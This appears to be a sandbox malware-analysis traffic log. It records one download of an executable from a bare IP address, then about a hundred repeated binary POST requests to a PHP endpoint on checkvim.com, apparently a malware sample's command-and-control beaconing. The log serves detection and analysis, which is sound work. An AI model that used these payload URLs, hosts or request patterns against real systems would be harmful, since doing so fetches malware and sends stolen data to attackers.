Source: global traffic	HTTP traffic detected: GET /wdc/vbc.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.155.83.184Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /ga14/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: checkvim.comAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 66369A18Content-Length: 149Connection: close
